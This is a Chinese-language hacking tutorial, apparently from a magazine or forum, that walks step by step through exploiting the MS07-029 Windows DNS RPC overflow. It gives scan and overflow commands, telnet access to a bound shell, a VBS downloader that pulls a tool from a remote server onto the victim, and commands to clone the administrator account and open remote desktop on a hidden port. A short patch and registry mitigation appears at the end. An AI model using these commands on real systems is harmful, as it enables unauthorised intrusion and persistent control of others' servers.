MS07-029,这个漏洞编号在网络安全领域堪称一代“经典”。简单来说,Windows域名系统(DNS)服务器服务的RPC管理接口中存在一个基于堆栈的缓冲区溢出漏洞。只要系统未安装补丁且开启了DNS服务,Windows 2000 Server和Windows 2003 Server全系列都将面临风险。今天,我们将一步步拆解该漏洞的利用流程,看看当年那些“肉鸡”是如何被攻陷的。
先来看看本次要用到的工具界面:
500)this.width=500" title="点击这里用新窗口浏览图片" />
这款工具堪称“通杀”级别——同时支持2000 Server和2003 Server,并内置扫描功能。那么,我们先用它扫描目标主机。
在命令行下输入:dns –s 目标IP地址
500)this.width=500" title="点击这里用新窗口浏览图片" />
稍等片刻,开放的端口和操作系统信息便显示出来。如果看到类似上图中“1029:Vulnerability”的字样——恭喜,目标主机已经向你敞开了大门。这个1029端口正是漏洞所在。
接下来,关键步骤来了——溢出攻击。
命令行输入:
dns -2003chs *.*.93.189 1029
其中-2003chs表示目标系统是简体中文版Windows Server 2003。如果是2000系统,换用-2000all参数。后面依次是目标IP地址和刚才扫描出的漏洞端口1029。
500)this.width=500" title="点击这里用新窗口浏览图片" />
当出现“Attack sent ,check port 1100”字样时,说明我们已成功在目标主机上打开了1100端口。接下来直接Telnet连接:
TELNET *.*.93.189 1100
500)this.width=500" title="点击这里用新窗口浏览图片" />
至此,我们已经获得了对方系统的管理员权限。接下来,看看如何在已拿下主机上开启远程桌面(3389端口)。
在命令行中先创建一个VBS下载脚本,用于从远程服务器拉取工具。逐行输入:
@echo with wscript:if .arguments.count^ tony.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> tony.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:" web.status:.quit >> tony.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.sa vetofile .arguments(1),2:end with >> tony.vbs
这个脚本的作用是通过HTTP下载文件。接着,将开启3389的工具(例如“火狐开3389”工具)上传到自己的个人空间,然后执行:
cscript tony.vbs https://你的空间地址/wrsky.exe c:\wrsky.exe
500)this.width=500" title="点击这里用新窗口浏览图片" />
下载完成后,wrsky.exe -c可以克隆当前管理员账号。wrsky.exe -o 3551则是开启远程桌面服务,并指定端口为3551。
500)this.width=500" title="点击这里用新窗口浏览图片" />
使用wrsky.exe -k检查3389是否已开启,确认后输入wrsky.exe -r,目标主机将自动重启。重启后,在本地运行mstsc,输入目标IP和端口3551:
500)this.width=500" title="点击这里用新窗口浏览图片" />
那熟悉而亲切的Windows桌面便呈现在眼前。如果目标是Windows 2000系统,还有一个更傻瓜化的工具open3389,直接运行即可,无需任何参数,但对方会立即重启。
顺便一提,光盘中还附带另外两个DNS利用工具以及一篇ZWELL的精华文章,感兴趣的朋友可以自行研究。
这个漏洞的危害有多大?当时利用DNS服务RPC漏洞传播的蠕虫病毒VanBot已经出现,变种开始疯狂扩散。如果你仍在运行Windows 2000或2003,并且开启了DNS服务,请务必立即安装补丁。
补丁下载地址:https://www.microsoft.com/china/technet/security/bulletin/ms07-029.mspx
如果暂时无法安装补丁,也可以通过注册表临时缓解:新建一个文本文件,输入以下内容:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters]
"RpcProtocol"=dword:00000004
保存为.reg文件,双击导入,然后重启DNS服务即可。
